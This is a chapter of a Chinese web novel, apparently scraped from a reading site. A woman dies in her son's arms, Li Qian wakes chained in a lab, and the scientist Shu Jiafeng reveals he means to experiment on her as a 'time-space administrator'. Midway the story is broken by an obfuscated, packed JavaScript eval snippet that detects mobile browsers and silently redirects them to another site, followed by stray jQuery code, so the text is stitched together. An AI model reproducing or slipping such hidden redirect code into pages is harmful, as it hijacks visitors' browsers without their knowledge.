周围的轰鸣声还在继续,农田上到处都是混乱的脚印和杂物。
程旭跌坐在地上,巨大的轰鸣声让他有些耳鸣,他晃着脑袋,被随之而来的几人围了上来,胡洪扶起了他,李岍扶起了趴在他身上的女人。
那是一个衣衫褴褛的枯瘦女人,胸口的枪洞还在不停地冒出血来,她苍白的脸上此刻也布满的血痕,嘴里还在不停地涌出黑血,她声音呜咽着,手无力地伸向了程旭。
李岍愣在原地,这个女人,是在实验室内被她拉起的那个女人,她永远无法忘记那个女人惊恐害怕的眼神,就如同无法忘记此刻挣扎出笑意的脸。
原来,那群如木偶一般麻木的人,还是可以做出别的表情的。
她还活着,他们还活着。
“你……”李岍想要说些什么,却被身旁一个颤抖到几不可闻的声音打断。
“妈?”略带疑问的语气忽然变得肯定,“妈!”
程旭颤抖着推开了身边的人,也推开了李岍,他扶住了这个瘦弱干枯的女人,牙齿上下打颤道:“妈,你,你怎么在这里……”程旭想要摸女人的脸,却被对方满是血污样子吓得无从下手,他颤抖着,声音带着哭腔和害怕。
“小,小旭。”女人的手慢慢地握住了程旭的手,像是在安慰他,也像是在安慰自己,干哑的嗓子在鲜血中挣扎出声音,“我,我们终于找到你了。”
身后纷杂的声音闯了进来,有叫医生的,有要抬担架的,然后程旭被推开了,他和女人的手也被拉开了,女人被抬起,朝着另一个方向走去。
恍惚中,李岍感觉自己和程旭一起被推着往前走,走到了一个阴暗的屋子里,来了几个白衣服的男人女人,他们围着女人的身体,忙碌着,纷杂的声音充斥在周围,有李岍认识的和不认识的,这个过程并没有持续很久,最后一个白衣服的男人离开了女人,走向了程旭,他的嘴张开又闭上,李岍一个字也没听进去,只看到程旭又扑了过去,他挣扎在女人的身边,痛哭流涕着,女人好像也还有一口气,费劲力气地对他说着,“你爸,爸,没了,她,她……”
女人的手最后指向了李岍,然后她吐出了胸腔里的最后一口残血,就这样,在阳光下呆了不到一小时,就死在了这里。
李岍怔怔地站在那里,看着女人胸口的大洞,看着女人死不瞑目的眼睛,看着哭倒在地的程旭猛地冲了过来,他抓住李岍胸前的衣服,一张满是鼻涕泪水的脸上带着李岍从未见过的表情。
“我妈说的是什么意思?我爸呢,你把我爸怎么了?”极度的喜悲冲击了程旭的大脑,他已经没有办法再思考,只能将枪口对向别人。
众人冲了上来,想要拦住程旭,却被他高声呵斥道:“这是我跟她的事情,你们不准插手!”
李岍抓住了他的手,却一点力气都使不出来,她想要开口告诉程旭,但却不知道该如何开口,她想起了关在屋里的那群人,他们是否还安全地留在屋里,她开始挣扎,想要挣脱,但面前的男人已经疯了,他不再残存理智,他已经被得到又失去的痛苦淹没。
最后,无数的手插入了他们中间,在一声重重的敲打声后,眼前的男人才晕了过去,而李岍也终于抵不住地倒了下去。
……
李岍醒过来的时候,睁眼便是一片黑暗。
她轻轻抬手,却看不到五指,一种奇怪的感觉涌上心头,双手扶地支撑着自己慢慢坐了起来,身下是冰凉的触感,脚下发出重物撞击的声响,李岍轻轻抬脚,才发现两只腿上好像绑了什么东西,她弯腰向前摸去,触感冰凉的金属圆圈套在脚踝,连接的锁链和地面重新碰撞发出新的声响,在空荡荡的屋子里回荡。
什么情况?她被关起来了?
李岍对摸到的东西有些奇怪,也对周围的黑暗感觉到一丝不安。
“有人吗?”她呼唤道。
良久,除了自己的声音在屋子里回荡,再也没有什么回应自己。
李岍慢慢地站了起来,拖着锁链在屋子里慢慢走着,她的手向前伸着,想要摸到屋子的边缘,一时间,屋子内‘叮叮当当’地吵闹起来。
忽然,白炽灯打开了,整个屋子恍若白昼一般。
李岍眯着眼睛努力适应这突如其来的光亮,然后看到整面的玻璃墙对着自己,照着她惨白的脸庞和杂乱的头发,恍若女鬼一般。
另一处的小门打开了,一个步履蹒跚的女人走了进来,她把手里的托盘放到了地上,然后用木棍轻轻推着,推到了李岍的眼前,随后就要转身离开。
“余大妈?”李岍有些犹豫地呼唤道。
门口女人的脚步停顿了一下,随即又立刻继续往前走去。
李岍也确信了自己的想法,立刻追问道:“为什么我会被关在这里,这到底是什么情况?束加丰回来了?我要见束加丰。”
余大妈仍旧没有回应她,只是快步离开了是非之地。
李岍向前追了两步,铁链的长度限制了她的范围,无力的身体也让她的动作踉跄了一下,她的目光转向了地面的托盘,听着肚子里发出的咕咕声响,还是认命地坐到地上吃了起来。
十几分钟后,吃完东西的李岍终于有力气和精神重新打量这个地方。
这个空旷的玻璃屋内,很像她闯入的那个关着活人的实验室。不,或者说就是她闯入的那间屋子,左侧小玻璃屋内的门上还残留着玻璃碎渣。
果然,在她还在打量周围情况的时候,这座屋子的主人也很快来到了这里。
依旧是单调的白大褂,搭着一个眼镜,站在玻璃窗外,静静地打量着她,如同打量一个实验室里的小白鼠一般。
李岍很快发现了他,两人对视了好一会儿,束加丰才慢悠悠地绕着屋子,推开小门走了进去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769018|168387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他绕着李岍走了几步,仿佛在欣赏她这邋遢窘迫的样子。
良久,李岍憋不住骂道:“你是狗吗?只会围着人转?”
束加丰也不生气,原本常年挂着烦躁的脸上如今满是兴味,“你倒是挺有本事,我就出去了几天,你就把我的实验室都翻了天。”
“你自己恶心事干多了,自然容易被人翻出一两件来。”李岍看着脚上的铁链继续骂道。
束加丰仍旧盯着她,仿佛要在她的脑门盯出一个洞来,半晌才慢悠悠道:“我从开始就觉得你这个小姑娘的目的性很强,本来以为你是姓武的那个蠢材派来的,这么折腾几回来看,你倒是对我的实验很感兴趣,就好像,你很清楚我在干什么。”
李岍坐在地上一动不动,刚醒来后的一系列操作,还是令她有些乏力,“你不就是在拿活人做实验吗?像你这种疯子,也不见得有多难猜。”
“那你知道我拿活人在做什么实验吗?”束加丰盯着她,继续幽幽地问着。
“左不过就是为了病毒的原因罢了。”李岍踢了踢脚下的锁链,有些烦躁道,“能不能把这玩意儿给我打开,反正你这实验室我也跑不了。”
“那可不一定。”束加丰又走了两步,盯着李岍的表情也越来越变态,“你可是重要的实验标本,得好好看管。”
李岍一怔,脚下晃动的动作停了下来,随后不可置信道:“你要用我做实验?”
“你放跑了我的实验材料,自然也得由你来补上。”
“我这一颗脑干,可不够你用,不然你放了我,我去帮你找更多的活体来?”李岍抬头看着他说道。
束加丰却笑了出来,带着看蠢材一般的眼神上下打量着她,随后忽然止住了笑声,语气也重新变得冷漠烦躁,“没有人跟你说过,你这种反反复复的性格真令人讨厌。”
李岍立刻摇了摇头,毫不在乎道:“人本来就是善变的。与我无关的时候自然可以大发善心,与我有关的时候就只能各凭本事了呗。”
束加丰冷哼一声,再也没有了与她纠缠的念头,直接了当道:“你可比那些普通的活体好多了,毕竟,你可是时空管理者。”
李岍猛地抬头,扬眉看着向自己逼近的大脸,藏在身下的手指轻轻嵌入掌心,嘲讽道:“你是不是天天做乱七八糟的实验做多了,把自己的脑子也做坏了。”
束加丰对她的矢口否认不置可否,只是自顾自地打量着李岍,然后慢悠悠地继续说着,“你们这些时空管理者真是有意思,明明是自己工作失误害了别人,现在自己也被填到了错误当中,反而能心安理得躲藏起来。”
李岍依旧没用回话。
束加丰还在继续,原本烦躁的声音里开始带着怨毒,“世界已经被你们搞成了这个样子,既然你们不想要好好纠正错误,就让我来拨乱反正。而你们,就为自己的错误而好好地付出代价吧。”